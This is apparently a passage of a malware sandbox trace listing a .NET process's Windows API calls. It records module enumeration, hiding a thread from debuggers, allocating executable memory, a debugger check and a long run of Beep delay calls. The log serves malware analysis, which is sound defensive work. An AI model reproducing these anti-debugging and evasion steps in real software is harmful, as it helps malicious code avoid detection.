SizeOfImage=0xac000, EntryPoint=0x75e3a472)) returned 1 [0067.328] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75e30000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0067.329] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75e30000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0067.329] GetModuleInformation (in: hProcess=0x290, hModule=0x762b0000, lpmodinfo=0x2761b14, cb=0xc | out: lpmodinfo=0x2761b14*(lpBaseOfDll=0x762b0000, SizeOfImage=0x19000, EntryPoint=0x762b4975)) returned 1 [0067.329] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x762b0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0067.329] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x762b0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0067.330] GetModuleInformation (in: hProcess=0x290, hModule=0x772d0000, lpmodinfo=0x2763c20, cb=0xc | out: lpmodinfo=0x2763c20*(lpBaseOfDll=0x772d0000, SizeOfImage=0xf0000, EntryPoint=0x772e0569)) returned 1 [0067.330] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x772d0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0067.330] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x772d0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0067.331] GetModuleInformation (in: hProcess=0x290, hModule=0x753b0000, lpmodinfo=0x2765d78, cb=0xc | out: lpmodinfo=0x2765d78*(lpBaseOfDll=0x753b0000, SizeOfImage=0x60000, EntryPoint=0x753ca3b3)) returned 1 [0067.331] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x753b0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0067.331] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x753b0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0067.332] GetModuleInformation (in: hProcess=0x290, hModule=0x753a0000, lpmodinfo=0x2767e84, cb=0xc | out: lpmodinfo=0x2767e84*(lpBaseOfDll=0x753a0000, SizeOfImage=0xc000, EntryPoint=0x753a10e1)) returned 1 [0067.332] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x753a0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0067.332] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x753a0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0067.333] GetModuleInformation (in: hProcess=0x290, hModule=0x751d0000, lpmodinfo=0x2769f98, cb=0xc | out: lpmodinfo=0x2769f98*(lpBaseOfDll=0x751d0000, SizeOfImage=0x78000, EntryPoint=0x751df7ba)) returned 1 [0067.333] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x751d0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0067.333] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x751d0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0067.334] GetModuleInformation (in: hProcess=0x290, hModule=0x75ce0000, lpmodinfo=0x276c0e0, cb=0xc | out: lpmodinfo=0x276c0e0*(lpBaseOfDll=0x75ce0000, SizeOfImage=0x57000, EntryPoint=0x75cf9ba6)) returned 1 [0067.334] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75ce0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0067.334] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75ce0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0067.335] GetModuleInformation (in: hProcess=0x290, hModule=0x773c0000, lpmodinfo=0x276e1ec, cb=0xc | out: lpmodinfo=0x276e1ec*(lpBaseOfDll=0x773c0000, SizeOfImage=0x90000, EntryPoint=0x773d6343)) returned 1 [0067.335] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x773c0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0067.336] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x773c0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0067.336] GetModuleInformation (in: hProcess=0x290, hModule=0x756f0000, lpmodinfo=0x27702f0, cb=0xc | out: lpmodinfo=0x27702f0*(lpBaseOfDll=0x756f0000, SizeOfImage=0x100000, EntryPoint=0x7570b6ed)) returned 1 [0067.336] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x756f0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0067.337] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x756f0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0067.337] GetModuleInformation (in: hProcess=0x290, hModule=0x762d0000, lpmodinfo=0x27723fc, cb=0xc | out: lpmodinfo=0x27723fc*(lpBaseOfDll=0x762d0000, SizeOfImage=0xa000, EntryPoint=0x762d36a0)) returned 1 [0067.338] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x762d0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0067.338] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x762d0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0067.339] GetModuleInformation (in: hProcess=0x290, hModule=0x75410000, lpmodinfo=0x27744f8, cb=0xc | out: lpmodinfo=0x27744f8*(lpBaseOfDll=0x75410000, SizeOfImage=0x9d000, EntryPoint=0x75443fd7)) returned 1 [0067.339] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75410000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0067.339] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75410000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0067.340] GetModuleInformation (in: hProcess=0x290, hModule=0x76500000, lpmodinfo=0x2776688, cb=0xc | out: lpmodinfo=0x2776688*(lpBaseOfDll=0x76500000, SizeOfImage=0x60000, EntryPoint=0x7651158f)) returned 1 [0067.340] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x76500000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0067.341] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x76500000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0067.341] GetModuleInformation (in: hProcess=0x290, hModule=0x75d40000, lpmodinfo=0x277878c, cb=0xc | out: lpmodinfo=0x277878c*(lpBaseOfDll=0x75d40000, SizeOfImage=0xcc000, EntryPoint=0x75d4168b)) returned 1 [0067.342] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75d40000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0067.342] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75d40000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0067.343] GetModuleInformation (in: hProcess=0x290, hModule=0x751c0000, lpmodinfo=0x277a890, cb=0xc | out: lpmodinfo=0x277a890*(lpBaseOfDll=0x751c0000, SizeOfImage=0x9000, EntryPoint=0x751c1220)) returned 1 [0067.344] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x751c0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0067.344] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x751c0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0067.345] GetModuleInformation (in: hProcess=0x290, hModule=0x74630000, lpmodinfo=0x277c99c, cb=0xc | out: lpmodinfo=0x277c99c*(lpBaseOfDll=0x74630000, SizeOfImage=0x6a8000, EntryPoint=0x74777040)) returned 1 [0067.345] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74630000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0067.346] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74630000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0067.346] GetModuleInformation (in: hProcess=0x290, hModule=0x750c0000, lpmodinfo=0x277eacc, cb=0xc | out: lpmodinfo=0x277eacc*(lpBaseOfDll=0x750c0000, SizeOfImage=0xf5000, EntryPoint=0x75114160)) returned 1 [0067.347] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x750c0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0067.347] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x750c0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0067.348] GetModuleInformation (in: hProcess=0x290, hModule=0x72500000, lpmodinfo=0x2780c00, cb=0xc | out: lpmodinfo=0x2780c00*(lpBaseOfDll=0x72500000, SizeOfImage=0x122b000, EntryPoint=0x0)) returned 1 [0067.348] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x72500000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0067.349] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x72500000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")) returned 0x68 [0067.349] GetModuleInformation (in: hProcess=0x290, hModule=0x75540000, lpmodinfo=0x2782da8, cb=0xc | out: lpmodinfo=0x2782da8*(lpBaseOfDll=0x75540000, SizeOfImage=0x15c000, EntryPoint=0x7558ba3d)) returned 1 [0067.350] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75540000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0067.350] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75540000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0067.351] GetModuleInformation (in: hProcess=0x290, hModule=0x74d00000, lpmodinfo=0x2784eac, cb=0xc | out: lpmodinfo=0x2784eac*(lpBaseOfDll=0x74d00000, SizeOfImage=0x80000, EntryPoint=0x74d137c9)) returned 1 [0067.351] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74d00000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0067.352] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74d00000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0067.353] GetModuleInformation (in: hProcess=0x290, hModule=0x71b50000, lpmodinfo=0x2786fb8, cb=0xc | out: lpmodinfo=0x2786fb8*(lpBaseOfDll=0x71b50000, SizeOfImage=0x9ad000, EntryPoint=0x0)) returned 1 [0067.353] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x71b50000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0067.354] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x71b50000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")) returned 0x64 [0067.354] GetModuleInformation (in: hProcess=0x290, hModule=0x71430000, lpmodinfo=0x2789154, cb=0xc | out: lpmodinfo=0x2789154*(lpBaseOfDll=0x71430000, SizeOfImage=0x716000, EntryPoint=0x0)) returned 1 [0067.355] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x71430000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="System.Core.ni.dll") returned 0x12 [0067.356] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x71430000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")) returned 0x6e [0067.356] GetModuleInformation (in: hProcess=0x290, hModule=0x74ef0000, lpmodinfo=0x278b310, cb=0xc | out: lpmodinfo=0x278b310*(lpBaseOfDll=0x74ef0000, SizeOfImage=0x1cb000, EntryPoint=0x0)) returned 1 [0067.404] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74ef0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0067.405] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74ef0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")) returned 0x81 [0067.405] GetModuleInformation (in: hProcess=0x290, hModule=0x74e70000, lpmodinfo=0x278d504, cb=0xc | out: lpmodinfo=0x278d504*(lpBaseOfDll=0x74e70000, SizeOfImage=0x7d000, EntryPoint=0x74e71140)) returned 1 [0067.406] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74e70000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0067.407] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74e70000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0067.407] GetModuleInformation (in: hProcess=0x290, hModule=0x75f60000, lpmodinfo=0x278f644, cb=0xc | out: lpmodinfo=0x278f644*(lpBaseOfDll=0x75f60000, SizeOfImage=0x8f000, EntryPoint=0x75f63fb1)) returned 1 [0067.408] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75f60000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0067.409] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75f60000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0067.410] GetModuleInformation (in: hProcess=0x290, hModule=0x744a0000, lpmodinfo=0x2791758, cb=0xc | out: lpmodinfo=0x2791758*(lpBaseOfDll=0x744a0000, SizeOfImage=0x18d000, EntryPoint=0x0)) returned 1 [0067.410] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x744a0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0067.411] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x744a0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")) returned 0x74 [0067.412] GetModuleInformation (in: hProcess=0x290, hModule=0x707d0000, lpmodinfo=0x2793924, cb=0xc | out: lpmodinfo=0x2793924*(lpBaseOfDll=0x707d0000, SizeOfImage=0xc58000, EntryPoint=0x0)) returned 1 [0067.412] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x707d0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0067.413] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x707d0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")) returned 0x80 [0067.414] GetModuleInformation (in: hProcess=0x290, hModule=0x74e50000, lpmodinfo=0x2795b14, cb=0xc | out: lpmodinfo=0x2795b14*(lpBaseOfDll=0x74e50000, SizeOfImage=0x16000, EntryPoint=0x74e52dc3)) returned 1 [0067.414] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74e50000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0067.415] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74e50000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0067.416] GetModuleInformation (in: hProcess=0x290, hModule=0x74460000, lpmodinfo=0x2797d2c, cb=0xc | out: lpmodinfo=0x2797d2c*(lpBaseOfDll=0x74460000, SizeOfImage=0x3b000, EntryPoint=0x7446128d)) returned 1 [0067.417] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74460000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0067.417] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74460000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0067.436] GetCurrentThreadId () returned 0x590 [0067.436] OpenThread (dwDesiredAccess=0x20, bInheritHandle=0, dwThreadId=0x590) returned 0x290 [0067.438] NtSetInformationThread (ThreadHandle=0x290, ThreadInformationClass=0x11, ThreadInformation=0x0, ThreadInformationLength=0x0) returned 0x0 [0067.463] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x563e298*=0x0, ZeroBits=0x0, RegionSize=0x563e290*=0x6, AllocationType=0x1000, Protect=0x40 | out: BaseAddress=0x563e298*=0xce0000, RegionSize=0x563e290*=0x1000) returned 0x0 [0067.468] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x563e298*=0xce0000, NumberOfBytesToProtect=0x563e294, NewAccessProtection=0x140, OldAccessProtection=0x563e28c | out: BaseAddress=0x563e298*=0xce0000, NumberOfBytesToProtect=0x563e294, OldAccessProtection=0x563e28c*=0x40) returned 0x0 [0067.878] IsDebuggerPresent () returned 0 [0067.914] GetProcessMemoryInfo (Process=0xffffffff, ppsmemCounters=0x563e274, cb=0x28) returned 1 [0067.940] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0067.951] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0067.970] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0067.985] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0067.997] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.018] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.030] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.032] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.039] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.063] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.071] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.086] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.087] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.102] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.123] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.140] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.151] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.167] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.169] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.200] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.248] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.250] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.252] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.258] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.261] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.262] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.265] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.268] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.291] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.302] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.315] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.332] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.347] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.368] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.385] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.398] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.414] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.417] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.424] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.439] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.453] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.469] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.471] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.473] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.477] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.480] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.497] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.511] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.527] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.529] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.532] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.539] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.557] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.573] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.582] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.620] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.649] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.654] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.672] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.684] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.701] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.703] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.705] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.708] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.710] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.730] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.743] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.760] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.765] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.768] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.783] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.799] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.814] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.816] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.818] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.819] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.833] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.845] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.864] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.870] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.899] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.906] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.921] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.937] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.951] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.971] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0068.984] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.000] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.020] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.034] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.050] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.065] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.066] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.083] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.098] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.123] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.133] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.151] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.163] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.166] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.167] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.169] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.173] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.196] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.203] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.219] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.236] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.238] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.239] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.240] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.241] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.244] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.245] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.269] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.276] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.292] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.294] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 